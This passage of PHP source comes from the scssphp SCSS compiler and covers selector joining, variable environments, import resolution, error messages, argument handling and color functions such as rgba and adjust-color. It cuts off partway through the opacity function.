* Flatten list
*
* @param array $list
*
* @return string
*/
protected function flattenList($list)
{
return $this->compileValue($list);
}
/**
* Compile string content
*
* @param array $string
*
* @return string
*/
protected function compileStringContent($string)
{
$parts = [];
foreach ($string[2] as $part) {
if (is_array($part) || $part instanceof \ArrayAccess) {
$parts[] = $this->compileValue($part);
} else {
$parts[] = $part;
}
}
return implode($parts);
}
/**
* Extract interpolation; it doesn't need to be recursive,
compileValue will handle that
*
* @param array $list
*
* @return array
*/
protected function extractInterpolation($list)
{
$items = $list[2];
foreach ($items as $i => $item) {
if ($item[0] === Type::T_INTERPOLATE) {
$before = [Type::T_LIST, $list[1], array_slice($items, 0,
$i)];
$after = [Type::T_LIST, $list[1], array_slice($items, $i +
1)];
return [Type::T_INTERPOLATED, $item, $before, $after];
}
}
return $list;
}
/**
* Find the final set of selectors
*
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param \Leafo\ScssPhp\Block $selfParent
*
* @return array
*/
protected function multiplySelectors(Environment $env, $selfParent =
null)
{
$envs = $this->compactEnv($env);
$selectors = [];
$parentSelectors = [[]];
$selfParentSelectors = null;
if (! is_null($selfParent) && $selfParent->selectors) {
$selfParentSelectors =
$this->evalSelectors($selfParent->selectors);
}
while ($env = array_pop($envs)) {
if (empty($env->selectors)) {
continue;
}
$selectors = $env->selectors;
do {
$stillHasSelf = false;
$prevSelectors = $selectors;
$selectors = [];
foreach ($prevSelectors as $selector) {
foreach ($parentSelectors as $parent) {
if ($selfParentSelectors) {
foreach ($selfParentSelectors as $selfParent) {
// if no '&' in the selector,
each call will give same result, only add once
$s = $this->joinSelectors($parent,
$selector, $stillHasSelf, $selfParent);
$selectors[serialize($s)] = $s;
}
} else {
$s = $this->joinSelectors($parent,
$selector, $stillHasSelf);
$selectors[serialize($s)] = $s;
}
}
}
} while ($stillHasSelf);
$parentSelectors = $selectors;
}
$selectors = array_values($selectors);
return $selectors;
}
/**
* Join selectors; looks for & to replace, or append parent before
child
*
* @param array $parent
* @param array $child
* @param boolean &$stillHasSelf
* @param array $selfParentSelectors
* @return array
*/
protected function joinSelectors($parent, $child, &$stillHasSelf,
$selfParentSelectors = null)
{
$setSelf = false;
$out = [];
foreach ($child as $part) {
$newPart = [];
foreach ($part as $p) {
// only replace & once and should be recalled to be
able to make combinations
if ($p === static::$selfSelector && $setSelf) {
$stillHasSelf = true;
}
if ($p === static::$selfSelector && ! $setSelf) {
$setSelf = true;
if (is_null($selfParentSelectors)) {
$selfParentSelectors = $parent;
}
foreach ($selfParentSelectors as $i => $parentPart)
{
if ($i > 0) {
$out[] = $newPart;
$newPart = [];
}
foreach ($parentPart as $pp) {
if (is_array($pp)) {
$flatten = [];
array_walk_recursive($pp, function ($a) use
(&$flatten) {
$flatten[] = $a;
});
$pp = implode($flatten);
}
$newPart[] = $pp;
}
}
} else {
$newPart[] = $p;
}
}
$out[] = $newPart;
}
return $setSelf ? $out : array_merge($parent, $child);
}
/**
* Multiply media
*
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param array $childQueries
*
* @return array
*/
protected function multiplyMedia(Environment $env = null, $childQueries
= null)
{
if (! isset($env) ||
! empty($env->block->type) &&
$env->block->type !== Type::T_MEDIA
) {
return $childQueries;
}
// plain old block, skip
if (empty($env->block->type)) {
return $this->multiplyMedia($env->parent, $childQueries);
}
$parentQueries = isset($env->block->queryList)
? $env->block->queryList
: [[[Type::T_MEDIA_VALUE, $env->block->value]]];
$store = [$this->env, $this->storeEnv];
$this->env = $env;
$this->storeEnv = null;
$parentQueries = $this->evaluateMediaQuery($parentQueries);
list($this->env, $this->storeEnv) = $store;
if ($childQueries === null) {
$childQueries = $parentQueries;
} else {
$originalQueries = $childQueries;
$childQueries = [];
foreach ($parentQueries as $parentQuery) {
foreach ($originalQueries as $childQuery) {
$childQueries[] = array_merge(
$parentQuery,
[[Type::T_MEDIA_TYPE, [Type::T_KEYWORD,
'all']]],
$childQuery
);
}
}
}
return $this->multiplyMedia($env->parent, $childQueries);
}
/**
* Convert env linked list to stack
*
* @param \Leafo\ScssPhp\Compiler\Environment $env
*
* @return array
*/
protected function compactEnv(Environment $env)
{
for ($envs = []; $env; $env = $env->parent) {
$envs[] = $env;
}
return $envs;
}
/**
* Convert env stack to singly linked list
*
* @param array $envs
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function extractEnv($envs)
{
for ($env = null; $e = array_pop($envs);) {
$e->parent = $env;
$env = $e;
}
return $env;
}
/**
* Push environment
*
* @param \Leafo\ScssPhp\Block $block
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function pushEnv(Block $block = null)
{
$env = new Environment;
$env->parent = $this->env;
$env->store = [];
$env->block = $block;
$env->depth = isset($this->env->depth) ?
$this->env->depth + 1 : 0;
$this->env = $env;
return $env;
}
/**
* Pop environment
*/
protected function popEnv()
{
$this->env = $this->env->parent;
}
/**
* Get store environment
*
* @return \Leafo\ScssPhp\Compiler\Environment
*/
protected function getStoreEnv()
{
return isset($this->storeEnv) ? $this->storeEnv :
$this->env;
}
/**
* Set variable
*
* @param string $name
* @param mixed $value
* @param boolean $shadow
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param mixed $valueUnreduced
*/
protected function set($name, $value, $shadow = false, Environment $env
= null, $valueUnreduced = null)
{
$name = $this->normalizeName($name);
if (! isset($env)) {
$env = $this->getStoreEnv();
}
if ($shadow) {
$this->setRaw($name, $value, $env, $valueUnreduced);
} else {
$this->setExisting($name, $value, $env, $valueUnreduced);
}
}
/**
* Set existing variable
*
* @param string $name
* @param mixed $value
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param mixed $valueUnreduced
*/
protected function setExisting($name, $value, Environment $env,
$valueUnreduced = null)
{
$storeEnv = $env;
$hasNamespace = $name[0] === '^' || $name[0] ===
'@' || $name[0] === '%';
for (;;) {
if (array_key_exists($name, $env->store)) {
break;
}
if (! $hasNamespace && isset($env->marker)) {
$env = $storeEnv;
break;
}
if (! isset($env->parent)) {
$env = $storeEnv;
break;
}
$env = $env->parent;
}
$env->store[$name] = $value;
if ($valueUnreduced) {
$env->storeUnreduced[$name] = $valueUnreduced;
}
}
/**
* Set raw variable
*
* @param string $name
* @param mixed $value
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param mixed $valueUnreduced
*/
protected function setRaw($name, $value, Environment $env,
$valueUnreduced = null)
{
$env->store[$name] = $value;
if ($valueUnreduced) {
$env->storeUnreduced[$name] = $valueUnreduced;
}
}
/**
* Get variable
*
* @api
*
* @param string $name
* @param boolean $shouldThrow
* @param \Leafo\ScssPhp\Compiler\Environment $env
* @param boolean $unreduced
*
* @return mixed|null
*/
public function get($name, $shouldThrow = true, Environment $env =
null, $unreduced = false)
{
$normalizedName = $this->normalizeName($name);
$specialContentKey = static::$namespaces['special'] .
'content';
if (! isset($env)) {
$env = $this->getStoreEnv();
}
$nextIsRoot = false;
$hasNamespace = $normalizedName[0] === '^' ||
$normalizedName[0] === '@' || $normalizedName[0] ===
'%';
$maxDepth = 10000;
for (;;) {
if ($maxDepth-- <= 0) {
break;
}
if (array_key_exists($normalizedName, $env->store)) {
if ($unreduced &&
isset($env->storeUnreduced[$normalizedName])) {
return $env->storeUnreduced[$normalizedName];
}
return $env->store[$normalizedName];
}
if (! $hasNamespace && isset($env->marker)) {
if (! $nextIsRoot && !
empty($env->store[$specialContentKey])) {
$env = $env->store[$specialContentKey]->scope;
continue;
}
$env = $this->rootEnv;
continue;
}
if (! isset($env->parent)) {
break;
}
$env = $env->parent;
}
if ($shouldThrow) {
$this->throwError("Undefined variable \$$name" .
($maxDepth<=0 ? " (infinite recursion)" : ""));
}
// found nothing
return null;
}
/**
* Has variable?
*
* @param string $name
* @param \Leafo\ScssPhp\Compiler\Environment $env
*
* @return boolean
*/
protected function has($name, Environment $env = null)
{
return $this->get($name, false, $env) !== null;
}
/**
* Inject variables
*
* @param array $args
*/
protected function injectVariables(array $args)
{
if (empty($args)) {
return;
}
$parser = $this->parserFactory(__METHOD__);
foreach ($args as $name => $strValue) {
if ($name[0] === '$') {
$name = substr($name, 1);
}
if (! $parser->parseValue($strValue, $value)) {
$value = $this->coerceValue($strValue);
}
$this->set($name, $value);
}
}
/**
* Set variables
*
* @api
*
* @param array $variables
*/
public function setVariables(array $variables)
{
$this->registeredVars = array_merge($this->registeredVars,
$variables);
}
/**
* Unset variable
*
* @api
*
* @param string $name
*/
public function unsetVariable($name)
{
unset($this->registeredVars[$name]);
}
/**
* Returns list of variables
*
* @api
*
* @return array
*/
public function getVariables()
{
return $this->registeredVars;
}
/**
* Adds to list of parsed files
*
* @api
*
* @param string $path
*/
public function addParsedFile($path)
{
if (isset($path) && file_exists($path)) {
$this->parsedFiles[realpath($path)] = filemtime($path);
}
}
/**
* Returns list of parsed files
*
* @api
*
* @return array
*/
public function getParsedFiles()
{
return $this->parsedFiles;
}
/**
* Add import path
*
* @api
*
* @param string|callable $path
*/
public function addImportPath($path)
{
if (! in_array($path, $this->importPaths)) {
$this->importPaths[] = $path;
}
}
/**
* Set import paths
*
* @api
*
* @param string|array $path
*/
public function setImportPaths($path)
{
$this->importPaths = (array) $path;
}
/**
* Set number precision
*
* @api
*
* @param integer $numberPrecision
*/
public function setNumberPrecision($numberPrecision)
{
Node\Number::$precision = $numberPrecision;
}
/**
* Set formatter
*
* @api
*
* @param string $formatterName
*/
public function setFormatter($formatterName)
{
$this->formatter = $formatterName;
}
/**
* Set line number style
*
* @api
*
* @param string $lineNumberStyle
*/
public function setLineNumberStyle($lineNumberStyle)
{
$this->lineNumberStyle = $lineNumberStyle;
}
/**
* Enable/disable source maps
*
* @api
*
* @param integer $sourceMap
*/
public function setSourceMap($sourceMap)
{
$this->sourceMap = $sourceMap;
}
/**
* Set source map options
*
* @api
*
* @param array $sourceMapOptions
*/
public function setSourceMapOptions($sourceMapOptions)
{
$this->sourceMapOptions = $sourceMapOptions;
}
/**
* Register function
*
* @api
*
* @param string $name
* @param callable $func
* @param array $prototype
*/
public function registerFunction($name, $func, $prototype = null)
{
$this->userFunctions[$this->normalizeName($name)] = [$func,
$prototype];
}
/**
* Unregister function
*
* @api
*
* @param string $name
*/
public function unregisterFunction($name)
{
unset($this->userFunctions[$this->normalizeName($name)]);
}
/**
* Add feature
*
* @api
*
* @param string $name
*/
public function addFeature($name)
{
$this->registeredFeatures[$name] = true;
}
/**
* Import file
*
* @param string $path
* @param \Leafo\ScssPhp\Formatter\OutputBlock $out
*/
protected function importFile($path, OutputBlock $out)
{
// see if tree is cached
$realPath = realpath($path);
if (isset($this->importCache[$realPath])) {
$this->handleImportLoop($realPath);
$tree = $this->importCache[$realPath];
} else {
$code = file_get_contents($path);
$parser = $this->parserFactory($path);
$tree = $parser->parse($code);
$this->importCache[$realPath] = $tree;
}
$pi = pathinfo($path);
array_unshift($this->importPaths, $pi['dirname']);
$this->compileChildrenNoReturn($tree->children, $out);
array_shift($this->importPaths);
}
/**
* Return the file path for an import url if it exists
*
* @api
*
* @param string $url
*
* @return string|null
*/
public function findImport($url)
{
$urls = [];
// for "normal" scss imports (ignore vanilla css and
external requests)
if (! preg_match('/\.css$|^https?:\/\//', $url)) {
// try both normal and the _partial filename
$urls = [$url, preg_replace('/[^\/]+$/',
'_\0', $url)];
}
$hasExtension = preg_match('/[.]s?css$/', $url);
foreach ($this->importPaths as $dir) {
if (is_string($dir)) {
// check urls for normal import paths
foreach ($urls as $full) {
$separator = (
! empty($dir) &&
substr($dir, -1) !== '/' &&
substr($full, 0, 1) !== '/'
) ? '/' : '';
$full = $dir . $separator . $full;
if ($this->fileExists($file = $full .
'.scss') ||
($hasExtension &&
$this->fileExists($file = $full))
) {
return $file;
}
}
} elseif (is_callable($dir)) {
// check custom callback for import path
$file = call_user_func($dir, $url);
if ($file !== null) {
return $file;
}
}
}
return null;
}
/**
* Set encoding
*
* @api
*
* @param string $encoding
*/
public function setEncoding($encoding)
{
$this->encoding = $encoding;
}
/**
* Ignore errors?
*
* @api
*
* @param boolean $ignoreErrors
*
* @return \Leafo\ScssPhp\Compiler
*/
public function setIgnoreErrors($ignoreErrors)
{
$this->ignoreErrors = $ignoreErrors;
return $this;
}
/**
* Throw error (exception)
*
* @api
*
* @param string $msg Message with optional sprintf()-style vararg
parameters
*
* @throws \Leafo\ScssPhp\Exception\CompilerException
*/
public function throwError($msg)
{
if ($this->ignoreErrors) {
return;
}
$line = $this->sourceLine;
$column = $this->sourceColumn;
$loc = isset($this->sourceNames[$this->sourceIndex])
? $this->sourceNames[$this->sourceIndex] . " on
line $line, at column $column"
: "line: $line, column: $column";
if (func_num_args() > 1) {
$msg = call_user_func_array('sprintf',
func_get_args());
}
$msg = "$msg: $loc";
$callStackMsg = $this->callStackMessage();
if ($callStackMsg) {
$msg .= "\nCall Stack:\n" . $callStackMsg;
}
throw new CompilerException($msg);
}
/**
* Beautify call stack for output
*
* @param boolean $all
* @param null $limit
*
* @return string
*/
protected function callStackMessage($all = false, $limit = null)
{
$callStackMsg = [];
$ncall = 0;
if ($this->callStack) {
foreach (array_reverse($this->callStack) as $call) {
if ($all || (isset($call['n']) &&
$call['n'])) {
$msg = "#" . $ncall++ . " " .
$call['n'] . " ";
$msg .=
(isset($this->sourceNames[$call[Parser::SOURCE_INDEX]])
?
$this->sourceNames[$call[Parser::SOURCE_INDEX]]
: '(unknown file)');
$msg .= " on line " .
$call[Parser::SOURCE_LINE];
$callStackMsg[] = $msg;
if (! is_null($limit) && $ncall>$limit) {
break;
}
}
}
}
return implode("\n", $callStackMsg);
}
/**
* Handle import loop
*
* @param string $name
*
* @throws \Exception
*/
protected function handleImportLoop($name)
{
for ($env = $this->env; $env; $env = $env->parent) {
$file = $this->sourceNames[$env->block->sourceIndex];
if (realpath($file) === $name) {
$this->throwError('An @import loop has been found:
%s imports %s', $file, basename($file));
break;
}
}
}
/**
* Does file exist?
*
* @param string $name
*
* @return boolean
*/
protected function fileExists($name)
{
return file_exists($name) && is_file($name);
}
/**
* Call SCSS @function
*
* @param string $name
* @param array $argValues
* @param array $returnValue
*
* @return boolean Returns true if returnValue is set; otherwise, false
*/
protected function callScssFunction($name, $argValues,
&$returnValue)
{
$func = $this->get(static::$namespaces['function'] .
$name, false);
if (! $func) {
return false;
}
$this->pushEnv();
$storeEnv = $this->storeEnv;
$this->storeEnv = $this->env;
// set the args
if (isset($func->args)) {
$this->applyArguments($func->args, $argValues);
}
// throw away lines and children
$tmp = new OutputBlock;
$tmp->lines = [];
$tmp->children = [];
$this->env->marker = 'function';
$ret = $this->compileChildren($func->children, $tmp,
$this->env->marker . " " . $name);
$this->storeEnv = $storeEnv;
$this->popEnv();
$returnValue = ! isset($ret) ? static::$defaultValue : $ret;
return true;
}
/**
* Call built-in and registered (PHP) functions
*
* @param string $name
* @param array $args
* @param array $returnValue
*
* @return boolean Returns true if returnValue is set; otherwise, false
*/
protected function callNativeFunction($name, $args, &$returnValue)
{
// try a lib function
$name = $this->normalizeName($name);
if (isset($this->userFunctions[$name])) {
// see if we can find a user function
list($f, $prototype) = $this->userFunctions[$name];
} elseif (($f = $this->getBuiltinFunction($name)) &&
is_callable($f)) {
$libName = $f[1];
$prototype = isset(static::$$libName) ? static::$$libName :
null;
} else {
return false;
}
@list($sorted, $kwargs) = $this->sortArgs($prototype, $args);
if ($name !== 'if' && $name !== 'call')
{
foreach ($sorted as &$val) {
// @todo fix root cause for this php 7.4 hack
if ($val === null) continue;
$val = $this->reduce($val, true);
}
}
$returnValue = call_user_func($f, $sorted, $kwargs);
if (! isset($returnValue)) {
return false;
}
$returnValue = $this->coerceValue($returnValue);
return true;
}
/**
* Get built-in function
*
* @param string $name Normalized name
*
* @return array
*/
protected function getBuiltinFunction($name)
{
$libName = 'lib' . preg_replace_callback(
'/_(.)/',
function ($m) {
return ucfirst($m[1]);
},
ucfirst($name)
);
return [$this, $libName];
}
/**
* Sorts keyword arguments
*
* @param array $prototype
* @param array $args
*
* @return array
*/
protected function sortArgs($prototype, $args)
{
$keyArgs = [];
$posArgs = [];
// separate positional and keyword arguments
foreach ($args as $arg) {
list($key, $value) = $arg;
$key = $key[1];
if (empty($key)) {
$posArgs[] = empty($arg[2]) ? $value : $arg;
} else {
$keyArgs[$key] = $value;
}
}
if (! isset($prototype)) {
return [$posArgs, $keyArgs];
}
// copy positional args
$finalArgs = array_pad($posArgs, count($prototype), null);
// overwrite positional args with keyword args
foreach ($prototype as $i => $names) {
foreach ((array) $names as $name) {
if (isset($keyArgs[$name])) {
$finalArgs[$i] = $keyArgs[$name];
}
}
}
return [$finalArgs, $keyArgs];
}
/**
* Apply argument values per definition
*
* @param array $argDef
* @param array $argValues
*
* @throws \Exception
*/
protected function applyArguments($argDef, $argValues)
{
$storeEnv = $this->getStoreEnv();
$env = new Environment;
$env->store = $storeEnv->store;
$hasVariable = false;
$args = [];
foreach ($argDef as $i => $arg) {
list($name, $default, $isVariable) = $argDef[$i];
$args[$name] = [$i, $name, $default, $isVariable];
$hasVariable |= $isVariable;
}
$keywordArgs = [];
$deferredKeywordArgs = [];
$remaining = [];
// assign the keyword args
foreach ((array) $argValues as $arg) {
if (! empty($arg[0])) {
if (! isset($args[$arg[0][1]])) {
if ($hasVariable) {
$deferredKeywordArgs[$arg[0][1]] = $arg[1];
} else {
$this->throwError("Mixin or function
doesn't have an argument named $%s.", $arg[0][1]);
break;
}
} elseif ($args[$arg[0][1]][0] < count($remaining)) {
$this->throwError("The argument $%s was passed
both by position and by name.", $arg[0][1]);
break;
} else {
$keywordArgs[$arg[0][1]] = $arg[1];
}
} elseif (count($keywordArgs)) {
$this->throwError('Positional arguments must come
before keyword arguments.');
break;
} elseif ($arg[2] === true) {
$val = $this->reduce($arg[1], true);
if ($val[0] === Type::T_LIST) {
foreach ($val[2] as $name => $item) {
if (! is_numeric($name)) {
$keywordArgs[$name] = $item;
} else {
$remaining[] = $item;
}
}
} elseif ($val[0] === Type::T_MAP) {
foreach ($val[1] as $i => $name) {
$name =
$this->compileStringContent($this->coerceString($name));
$item = $val[2][$i];
if (! is_numeric($name)) {
$keywordArgs[$name] = $item;
} else {
$remaining[] = $item;
}
}
} else {
$remaining[] = $val;
}
} else {
$remaining[] = $arg[1];
}
}
foreach ($args as $arg) {
list($i, $name, $default, $isVariable) = $arg;
if ($isVariable) {
$val = [Type::T_LIST, ',', [], $isVariable];
for ($count = count($remaining); $i < $count; $i++) {
$val[2][] = $remaining[$i];
}
foreach ($deferredKeywordArgs as $itemName => $item) {
$val[2][$itemName] = $item;
}
} elseif (isset($remaining[$i])) {
$val = $remaining[$i];
} elseif (isset($keywordArgs[$name])) {
$val = $keywordArgs[$name];
} elseif (! empty($default)) {
continue;
} else {
$this->throwError("Missing argument $name");
break;
}
$this->set($name, $this->reduce($val, true), true, $env);
}
$storeEnv->store = $env->store;
foreach ($args as $arg) {
list($i, $name, $default, $isVariable) = $arg;
if ($isVariable || isset($remaining[$i]) ||
isset($keywordArgs[$name]) || empty($default)) {
continue;
}
$this->set($name, $this->reduce($default, true), true);
}
}
/**
* Coerce a php value into a scss one
*
* @param mixed $value
*
* @return array|\Leafo\ScssPhp\Node\Number
*/
protected function coerceValue($value)
{
if (is_array($value) || $value instanceof \ArrayAccess) {
return $value;
}
if (is_bool($value)) {
return $this->toBool($value);
}
if ($value === null) {
return static::$null;
}
if (is_numeric($value)) {
return new Node\Number($value, '');
}
if ($value === '') {
return static::$emptyString;
}
if (preg_match('/^(#([0-9a-f]{6})|#([0-9a-f]{3}))$/i',
$value, $m)) {
$color = [Type::T_COLOR];
if (isset($m[3])) {
$num = hexdec($m[3]);
foreach ([3, 2, 1] as $i) {
$t = $num & 0xf;
$color[$i] = $t << 4 | $t;
$num >>= 4;
}
} else {
$num = hexdec($m[2]);
foreach ([3, 2, 1] as $i) {
$color[$i] = $num & 0xff;
$num >>= 8;
}
}
return $color;
}
return [Type::T_KEYWORD, $value];
}
/**
* Coerce something to map
*
* @param array $item
*
* @return array
*/
protected function coerceMap($item)
{
if ($item[0] === Type::T_MAP) {
return $item;
}
if ($item === static::$emptyList) {
return static::$emptyMap;
}
return [Type::T_MAP, [$item], [static::$null]];
}
/**
* Coerce something to list
*
* @param array $item
* @param string $delim
*
* @return array
*/
protected function coerceList($item, $delim = ',')
{
if (isset($item) && $item[0] === Type::T_LIST) {
return $item;
}
if (isset($item) && $item[0] === Type::T_MAP) {
$keys = $item[1];
$values = $item[2];
$list = [];
for ($i = 0, $s = count($keys); $i < $s; $i++) {
$key = $keys[$i];
$value = $values[$i];
$list[] = [
Type::T_LIST,
'',
[[Type::T_KEYWORD,
$this->compileStringContent($this->coerceString($key))], $value]
];
}
return [Type::T_LIST, ',', $list];
}
return [Type::T_LIST, $delim, ! isset($item) ? []: [$item]];
}
/**
* Coerce color for expression
*
* @param array $value
*
* @return array|null
*/
protected function coerceForExpression($value)
{
if ($color = $this->coerceColor($value)) {
return $color;
}
return $value;
}
/**
* Coerce value to color
*
* @param array $value
*
* @return array|null
*/
protected function coerceColor($value)
{
switch ($value[0]) {
case Type::T_COLOR:
return $value;
case Type::T_KEYWORD:
$name = strtolower($value[1]);
if (isset(Colors::$cssColors[$name])) {
$rgba = explode(',',
Colors::$cssColors[$name]);
return isset($rgba[3])
? [Type::T_COLOR, (int) $rgba[0], (int) $rgba[1],
(int) $rgba[2], (int) $rgba[3]]
: [Type::T_COLOR, (int) $rgba[0], (int) $rgba[1],
(int) $rgba[2]];
}
return null;
}
return null;
}
/**
* Coerce value to string
*
* @param array $value
*
* @return array|null
*/
protected function coerceString($value)
{
if ($value[0] === Type::T_STRING) {
return $value;
}
return [Type::T_STRING, '',
[$this->compileValue($value)]];
}
/**
* Coerce value to a percentage
*
* @param array $value
*
* @return integer|float
*/
protected function coercePercent($value)
{
if ($value[0] === Type::T_NUMBER) {
if (! empty($value[2]['%'])) {
return $value[1] / 100;
}
return $value[1];
}
return 0;
}
/**
* Assert value is a map
*
* @api
*
* @param array $value
*
* @return array
*
* @throws \Exception
*/
public function assertMap($value)
{
$value = $this->coerceMap($value);
if ($value[0] !== Type::T_MAP) {
$this->throwError('expecting map, %s received',
$value[0]);
}
return $value;
}
/**
* Assert value is a list
*
* @api
*
* @param array $value
*
* @return array
*
* @throws \Exception
*/
public function assertList($value)
{
if ($value[0] !== Type::T_LIST) {
$this->throwError('expecting list, %s received',
$value[0]);
}
return $value;
}
/**
* Assert value is a color
*
* @api
*
* @param array $value
*
* @return array
*
* @throws \Exception
*/
public function assertColor($value)
{
if ($color = $this->coerceColor($value)) {
return $color;
}
$this->throwError('expecting color, %s received',
$value[0]);
}
/**
* Assert value is a number
*
* @api
*
* @param array $value
*
* @return integer|float
*
* @throws \Exception
*/
public function assertNumber($value)
{
if ($value[0] !== Type::T_NUMBER) {
$this->throwError('expecting number, %s received',
$value[0]);
}
return $value[1];
}
/**
* Make sure a color's components don't go out of bounds
*
* @param array $c
*
* @return array
*/
protected function fixColor($c)
{
foreach ([1, 2, 3] as $i) {
if ($c[$i] < 0) {
$c[$i] = 0;
}
if ($c[$i] > 255) {
$c[$i] = 255;
}
}
return $c;
}
/**
* Convert RGB to HSL
*
* @api
*
* @param integer $red
* @param integer $green
* @param integer $blue
*
* @return array
*/
public function toHSL($red, $green, $blue)
{
$min = min($red, $green, $blue);
$max = max($red, $green, $blue);
$l = $min + $max;
$d = $max - $min;
if ((int) $d === 0) {
$h = $s = 0;
} else {
if ($l < 255) {
$s = $d / $l;
} else {
$s = $d / (510 - $l);
}
if ($red == $max) {
$h = 60 * ($green - $blue) / $d;
} elseif ($green == $max) {
$h = 60 * ($blue - $red) / $d + 120;
} elseif ($blue == $max) {
$h = 60 * ($red - $green) / $d + 240;
}
}
return [Type::T_HSL, fmod($h, 360), $s * 100, $l / 5.1];
}
/**
* Hue to RGB helper
*
* @param float $m1
* @param float $m2
* @param float $h
*
* @return float
*/
protected function hueToRGB($m1, $m2, $h)
{
if ($h < 0) {
$h += 1;
} elseif ($h > 1) {
$h -= 1;
}
if ($h * 6 < 1) {
return $m1 + ($m2 - $m1) * $h * 6;
}
if ($h * 2 < 1) {
return $m2;
}
if ($h * 3 < 2) {
return $m1 + ($m2 - $m1) * (2/3 - $h) * 6;
}
return $m1;
}
/**
* Convert HSL to RGB
*
* @api
*
* @param integer $hue H from 0 to 360
* @param integer $saturation S from 0 to 100
* @param integer $lightness L from 0 to 100
*
* @return array
*/
public function toRGB($hue, $saturation, $lightness)
{
if ($hue < 0) {
$hue += 360;
}
$h = $hue / 360;
$s = min(100, max(0, $saturation)) / 100;
$l = min(100, max(0, $lightness)) / 100;
$m2 = $l <= 0.5 ? $l * ($s + 1) : $l + $s - $l * $s;
$m1 = $l * 2 - $m2;
$r = $this->hueToRGB($m1, $m2, $h + 1/3) * 255;
$g = $this->hueToRGB($m1, $m2, $h) * 255;
$b = $this->hueToRGB($m1, $m2, $h - 1/3) * 255;
$out = [Type::T_COLOR, $r, $g, $b];
return $out;
}
// Built in functions
//protected static $libCall = ['name', 'args...'];
protected function libCall($args, $kwargs)
{
$name =
$this->compileStringContent($this->coerceString($this->reduce(array_shift($args),
true)));
$posArgs = [];
foreach ($args as $arg) {
if (empty($arg[0])) {
if ($arg[2] === true) {
$tmp = $this->reduce($arg[1]);
if ($tmp[0] === Type::T_LIST) {
foreach ($tmp[2] as $item) {
$posArgs[] = [null, $item, false];
}
} else {
$posArgs[] = [null, $tmp, true];
}
continue;
}
$posArgs[] = [null, $this->reduce($arg), false];
continue;
}
$posArgs[] = [null, $arg, false];
}
if (count($kwargs)) {
foreach ($kwargs as $key => $value) {
$posArgs[] = [[Type::T_VARIABLE, $key], $value, false];
}
}
return $this->reduce([Type::T_FUNCTION_CALL, $name, $posArgs]);
}
protected static $libIf = ['condition', 'if-true',
'if-false'];
protected function libIf($args)
{
list($cond, $t, $f) = $args;
if (! $this->isTruthy($this->reduce($cond, true))) {
return $this->reduce($f, true);
}
return $this->reduce($t, true);
}
protected static $libIndex = ['list', 'value'];
protected function libIndex($args)
{
list($list, $value) = $args;
if ($value[0] === Type::T_MAP) {
return static::$null;
}
if ($list[0] === Type::T_MAP ||
$list[0] === Type::T_STRING ||
$list[0] === Type::T_KEYWORD ||
$list[0] === Type::T_INTERPOLATE
) {
$list = $this->coerceList($list, ' ');
}
if ($list[0] !== Type::T_LIST) {
return static::$null;
}
$values = [];
foreach ($list[2] as $item) {
$values[] = $this->normalizeValue($item);
}
$key = array_search($this->normalizeValue($value), $values);
return false === $key ? static::$null : $key + 1;
}
protected static $libRgb = ['red', 'green',
'blue'];
protected function libRgb($args)
{
list($r, $g, $b) = $args;
return [Type::T_COLOR, $r[1], $g[1], $b[1]];
}
protected static $libRgba = [
['red', 'color'],
'green', 'blue', 'alpha'];
protected function libRgba($args)
{
if ($color = $this->coerceColor($args[0])) {
$num = isset($args[3]) ? $args[3] : $args[1];
$alpha = $this->assertNumber($num);
$color[4] = $alpha;
return $color;
}
list($r, $g, $b, $a) = $args;
return [Type::T_COLOR, $r[1], $g[1], $b[1], $a[1]];
}
// helper function for adjust_color, change_color, and scale_color
protected function alterColor($args, $fn)
{
$color = $this->assertColor($args[0]);
foreach ([1, 2, 3, 7] as $i) {
if (isset($args[$i])) {
$val = $this->assertNumber($args[$i]);
$ii = $i === 7 ? 4 : $i; // alpha
$color[$ii] = call_user_func($fn, isset($color[$ii]) ?
$color[$ii] : 0, $val, $i);
}
}
if (isset($args[4]) || isset($args[5]) || isset($args[6])) {
$hsl = $this->toHSL($color[1], $color[2], $color[3]);
foreach ([4, 5, 6] as $i) {
if (isset($args[$i])) {
$val = $this->assertNumber($args[$i]);
$hsl[$i - 3] = call_user_func($fn, $hsl[$i - 3], $val,
$i);
}
}
$rgb = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);
if (isset($color[4])) {
$rgb[4] = $color[4];
}
$color = $rgb;
}
return $color;
}
protected static $libAdjustColor = [
'color', 'red', 'green',
'blue',
'hue', 'saturation', 'lightness',
'alpha'
];
protected function libAdjustColor($args)
{
return $this->alterColor($args, function ($base, $alter, $i) {
return $base + $alter;
});
}
protected static $libChangeColor = [
'color', 'red', 'green',
'blue',
'hue', 'saturation', 'lightness',
'alpha'
];
protected function libChangeColor($args)
{
return $this->alterColor($args, function ($base, $alter, $i) {
return $alter;
});
}
protected static $libScaleColor = [
'color', 'red', 'green',
'blue',
'hue', 'saturation', 'lightness',
'alpha'
];
protected function libScaleColor($args)
{
return $this->alterColor($args, function ($base, $scale, $i) {
// 1, 2, 3 - rgb
// 4, 5, 6 - hsl
// 7 - a
switch ($i) {
case 1:
case 2:
case 3:
$max = 255;
break;
case 4:
$max = 360;
break;
case 7:
$max = 1;
break;
default:
$max = 100;
}
$scale = $scale / 100;
if ($scale < 0) {
return $base * $scale + $base;
}
return ($max - $base) * $scale + $base;
});
}
protected static $libIeHexStr = ['color'];
protected function libIeHexStr($args)
{
$color = $this->coerceColor($args[0]);
$color[4] = isset($color[4]) ? round(255 * $color[4]) : 255;
return sprintf('#%02X%02X%02X%02X', $color[4], $color[1],
$color[2], $color[3]);
}
protected static $libRed = ['color'];
protected function libRed($args)
{
$color = $this->coerceColor($args[0]);
return $color[1];
}
protected static $libGreen = ['color'];
protected function libGreen($args)
{
$color = $this->coerceColor($args[0]);
return $color[2];
}
protected static $libBlue = ['color'];
protected function libBlue($args)
{
$color = $this->coerceColor($args[0]);
return $color[3];
}
protected static $libAlpha = ['color'];
protected function libAlpha($args)
{
if ($color = $this->coerceColor($args[0])) {
return isset($color[4]) ? $color[4] : 1;
}
// this might be the IE function, so return value unchanged
return null;
}
protected static $libOpacity = ['color'];
protected function libOpacity($args)
{
$value = $args[0];
